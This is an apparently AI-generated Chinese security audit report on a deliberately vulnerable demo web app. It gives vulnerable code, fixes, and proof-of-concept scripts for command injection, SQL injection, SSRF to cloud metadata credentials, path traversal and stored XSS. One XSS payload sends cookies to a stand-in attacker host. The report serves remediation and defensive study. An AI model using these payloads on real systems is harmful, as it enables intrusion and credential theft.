DeepAudit 安全审计报告

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报告信息

属性	内容
项目名称	VulnWebApp - 安全演示项目
任务 ID	0e41da00...
生成时间	2025-12-15 11:07:20
任务状态	COMPLETED
耗时	13.0 分钟

执行摘要

安全评分: 35/100 [未通过] 严重 - 需要立即进行修复

漏洞发现概览

严重程度	数量	已验证
严重 (CRITICAL)	2	2
高危 (HIGH)	3	3
中危 (MEDIUM)	2	1
低危 (LOW)	1	0
总计	8	6

审计指标

• 分析文件数: 48 / 48
• Agent 迭代次数: 32
• 工具调用次数: 87
• Token 消耗: 45,680
• 生成的 PoC: 5

严重 (Critical) 漏洞

CRITICAL-1: 备份功能存在命令注入漏洞

[已验证] [含 PoC] | 类型: command_injection

位置: app/utils/backup.py:34-40

AI 置信度: 99%

漏洞描述:

在备份功能中，用户提供的文件名参数直接传递给 os.system() 函数执行，攻击者可以通过命令分隔符（如 ; 或 |）注入任意系统命令。

漏洞代码:

def create_backup(filename):
    """创建备份文件"""
    # 危险：直接将用户输入传递给系统命令
    backup_path = f"/backups/{filename}.tar.gz"
    cmd = f"tar -czf {backup_path} /data/"
    os.system(cmd)  # 命令注入风险
    return backup_path

修复建议:

避免使用 os.system()，改用 subprocess 模块并禁用 shell=True，对用户输入进行严格的白名单验证

参考修复代码:

import subprocess
import re

def create_backup(filename):
    """创建备份文件 - 安全版本"""
    # 修复：验证文件名只包含安全字符
    if not re.match(r'^[a-zA-Z0-9_-]+$', filename):
        raise ValueError("Invalid filename")

    backup_path = f"/backups/{filename}.tar.gz"
    # 修复：使用 subprocess 并传递参数列表
    subprocess.run(
        ["tar", "-czf", backup_path, "/data/"],
        check=True,
        shell=False  # 禁用shell
    )
    return backup_path

概念验证 (PoC):

通过在 filename 参数中注入分号和系统命令，在服务器上执行任意代码

复现步骤:

1. 构造恶意 filename: test; id; cat /etc/passwd
2. 发送请求到 /api/backup 接口
3. 观察服务器响应或日志中的命令执行结果

PoC 代码:

import requests

# 命令注入 PoC
target_url = "http://target.com/api/backup"

# Payload: 注入系统命令
payload = "test; id; cat /etc/passwd"

response = requests.post(target_url, json={"filename": payload})
print(f"Response: {response.text}")

# 预期结果：服务器执行 id 和 cat /etc/passwd 命令

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CRITICAL-2: 用户搜索接口存在 SQL 注入漏洞

[已验证] [含 PoC] | 类型: sql_injection

位置: app/routes/user.py:52-58

AI 置信度: 98%

漏洞描述:

在 /api/user/search 接口中，用户输入的 name 参数直接拼接到 SQL 查询语句中，未经过任何过滤或参数化处理，攻击者可以通过构造恶意输入执行任意 SQL 语句。

漏洞代码:

@app.route('/api/user/search')
def search_user():
    name = request.args.get('name', '')
    # 危险：直接拼接用户输入到SQL语句
    query = f"SELECT * FROM users WHERE name LIKE '%{name}%'"
    result = db.execute(query)
    return jsonify(result.fetchall())

修复建议:

使用参数化查询或 ORM 框架来防止 SQL 注入

参考修复代码:

@app.route('/api/user/search')
def search_user():
    name = request.args.get('name', '')
    # 修复：使用参数化查询
    query = "SELECT * FROM users WHERE name LIKE :name"
    result = db.execute(query, {"name": f"%{name}%"})
    return jsonify(result.fetchall())

概念验证 (PoC):

通过在 name 参数中注入 SQL 语句，绕过查询条件获取数据库中所有用户信息

复现步骤:

1. 访问目标 URL: /api/user/search?name=' OR '1'='1' --
2. 观察响应：应返回所有用户数据
3. 进一步利用：可尝试 UNION 注入获取其他表数据

PoC 代码:

import requests

# SQL 注入 PoC
target_url = "http://target.com/api/user/search"

# Payload: 绕过认证获取所有用户
payload = "' OR '1'='1' --"

response = requests.get(target_url, params={"name": payload})
print(f"Status: {response.status_code}")
print(f"Data: {response.json()}")

# 预期结果：返回所有用户数据，而非仅匹配搜索条件的用户

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高危 (High) 漏洞

HIGH-1: 代理接口存在 SSRF 漏洞

[已验证] [含 PoC] | 类型: ssrf

位置: app/routes/proxy.py:42-50

AI 置信度: 94%

漏洞描述:

代理接口接受用户提供的 URL 并发起请求，没有验证目标地址，攻击者可以利用此漏洞访问内网资源或云元数据服务。

漏洞代码:

@app.route('/api/proxy')
def proxy_request():
    target_url = request.args.get('url')
    # 危险：直接请求用户提供的 URL
    response = requests.get(target_url)
    return response.content

修复建议:

实现 URL 白名单验证，禁止访问内网地址和元数据服务

参考修复代码:

from urllib.parse import urlparse
import ipaddress

ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']

def is_safe_url(url):
    parsed = urlparse(url)

    # 检查协议
    if parsed.scheme not in ['http', 'https']:
        return False

    # 检查是否在白名单
    if parsed.hostname not in ALLOWED_HOSTS:
        return False

    # 检查是否为内网地址
    try:
        ip = ipaddress.ip_address(parsed.hostname)
        if ip.is_private or ip.is_loopback:
            return False
    except ValueError:
        pass

    return True

@app.route('/api/proxy')
def proxy_request():
    target_url = request.args.get('url')

    if not is_safe_url(target_url):
        return "Invalid URL", 400

    response = requests.get(target_url, timeout=5)
    return response.content

概念验证 (PoC):

PoC 代码:

import requests

# SSRF PoC - 访问 AWS 元数据
target_url = "http://target.com/api/proxy"
payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

response = requests.get(target_url, params={"url": payload})
print(f"AWS Credentials:\n{response.text}")

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HIGH-2: 文件下载接口存在路径遍历漏洞

[已验证] [含 PoC] | 类型: path_traversal

位置: app/routes/download.py:18-26

AI 置信度: 95%

漏洞描述:

文件下载接口直接使用用户提供的文件名参数构建文件路径，没有验证路径是否在允许的目录范围内，攻击者可以使用 ../ 序列访问任意文件。

漏洞代码:

@app.route('/api/download')
def download_file():
    filename = request.args.get('file')
    # 危险：直接拼接用户输入构建路径
    file_path = os.path.join('/uploads/', filename)

    if os.path.exists(file_path):
        return send_file(file_path)
    return "File not found", 404

修复建议:

使用 os.path.realpath() 解析路径后验证是否在允许的目录内

参考修复代码:

import os
from pathlib import Path

UPLOAD_DIR = Path('/uploads/').resolve()

@app.route('/api/download')
def download_file():
    filename = request.args.get('file')

    # 修复：解析真实路径并验证
    file_path = (UPLOAD_DIR / filename).resolve()

    # 确保文件在允许的目录内
    if not str(file_path).startswith(str(UPLOAD_DIR)):
        return "Access denied", 403

    if file_path.exists():
        return send_file(file_path)
    return "File not found", 404

概念验证 (PoC):

PoC 代码:

import requests

# 路径遍历 PoC
target_url = "http://target.com/api/download"

# Payload: 读取系统敏感文件
payload = "../../../etc/passwd"

response = requests.get(target_url, params={"file": payload})
print(f"File content:\n{response.text}")

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HIGH-3: 评论功能存在存储型 XSS 漏洞

[已验证] [含 PoC] | 类型: xss

位置: app/templates/comment.html:28-32

AI 置信度: 96%

漏洞描述:

用户提交的评论内容在展示时未经 HTML 转义直接渲染，攻击者可以在评论中注入恶意 JavaScript 代码，当其他用户查看评论时会执行这些代码。

漏洞代码:

<div class="comment-list">
    {% for comment in comments %}
    <div class="comment-item">
        <p class="comment-content">{{ comment.content | safe }}</p>
        <!-- 危险：使用 safe 过滤器禁用了自动转义 -->
    </div>
    {% endfor %}
</div>

修复建议:

移除 safe 过滤器，让 Jinja2 自动转义 HTML 特殊字符

参考修复代码:

<div class="comment-list">
    {% for comment in comments %}
    <div class="comment-item">
        <!-- 修复：移除 safe 过滤器，使用自动转义 -->
        <p class="comment-content">{{ comment.content }}</p>
    </div>
    {% endfor %}
</div>

概念验证 (PoC):

通过在评论中注入 JavaScript 代码，当其他用户查看页面时窃取其 Cookie

PoC 代码:

import requests

# 存储型 XSS PoC
target_url = "http://target.com/api/comment"

# Payload: 窃取用户 Cookie
payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'

response = requests.post(target_url, json={"content": payload})
print(f"Comment posted: {response.status_code}")

# 当其他用户访问评论页面时，恶意脚本会自动执行

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中危 (Medium) 漏洞

MEDIUM-1: 使用不安全的 MD5 哈希算法存储密码

[已验证] | 类型: weak_crypto

位置: app/utils/crypto.py:8-12

AI 置信度: 97%

漏洞描述:

密码哈希使用了已被破解的 MD5 算法，没有使用盐值，容易受到彩虹表攻击和暴力破解。

漏洞代码:

import hashlib

def hash_password(password):
    # 危险：使用不安全的 MD5 且无盐值
    return hashlib.md5(password.encode()).hexdigest()

修复建议:

使用 bcrypt、Argon2 或 PBKDF2 等专门的密码哈希算法

参考修复代码:

import bcrypt

def hash_password(password):
    # 修复：使用 bcrypt 进行安全的密码哈希
    salt = bcrypt.gensalt(rounds=12)
    return bcrypt.hashpw(password.encode(), salt).decode()

def verify_password(password, hashed):
    return bcrypt.checkpw(password.encode(), hashed.encode())

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MEDIUM-2: 发现硬编码的 API 密钥（误报）

[未验证] | 类型: hardcoded_secret

位置: app/config.py.example:15-18

AI 置信度: 85%

漏洞描述:

在配置文件中发现硬编码的 API 密钥，经验证为示例配置模板中的占位符。

漏洞代码:

# 示例配置文件 - 请复制为 config.py 并替换实际值
API_KEY = "your-api-key-here"  # 请替换为实际密钥
SECRET_KEY = "change-this-secret"  # 请替换为随机字符串

修复建议:

确保 .example 文件不被误用，在 .gitignore 中排除实际配置文件

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低危 (Low) 漏洞

LOW-1: 生产环境启用了调试模式

[未验证] | 类型: security_misconfiguration

位置: app/__init__.py:25-28

AI 置信度: 88%

漏洞描述:

Flask 应用在生产环境中启用了调试模式，可能泄露敏感信息和允许远程代码执行。

漏洞代码:

# 应用配置
app = Flask(__name__)
app.debug = True  # 警告：生产环境应禁用
app.secret_key = 'development-key'  # 警告：应使用安全密钥

修复建议:

在生产环境中禁用调试模式，使用环境变量配置

参考修复代码:

import os

app = Flask(__name__)
app.debug = os.environ.get('FLASK_DEBUG', 'False').lower() == 'true'
app.secret_key = os.environ.get('SECRET_KEY', os.urandom(24))

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修复优先级建议

基于已发现的漏洞，我们建议按以下优先级进行修复：

1. 立即修复: 处理 2 个严重漏洞 - 可能造成严重影响
2. 高优先级: 在 1 周内修复 3 个高危漏洞
3. 中优先级: 在 2-4 周内修复 2 个中危漏洞
4. 低优先级: 在日常维护中处理 1 个低危漏洞

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本报告由 DeepAudit - AI 驱动的安全分析系统生成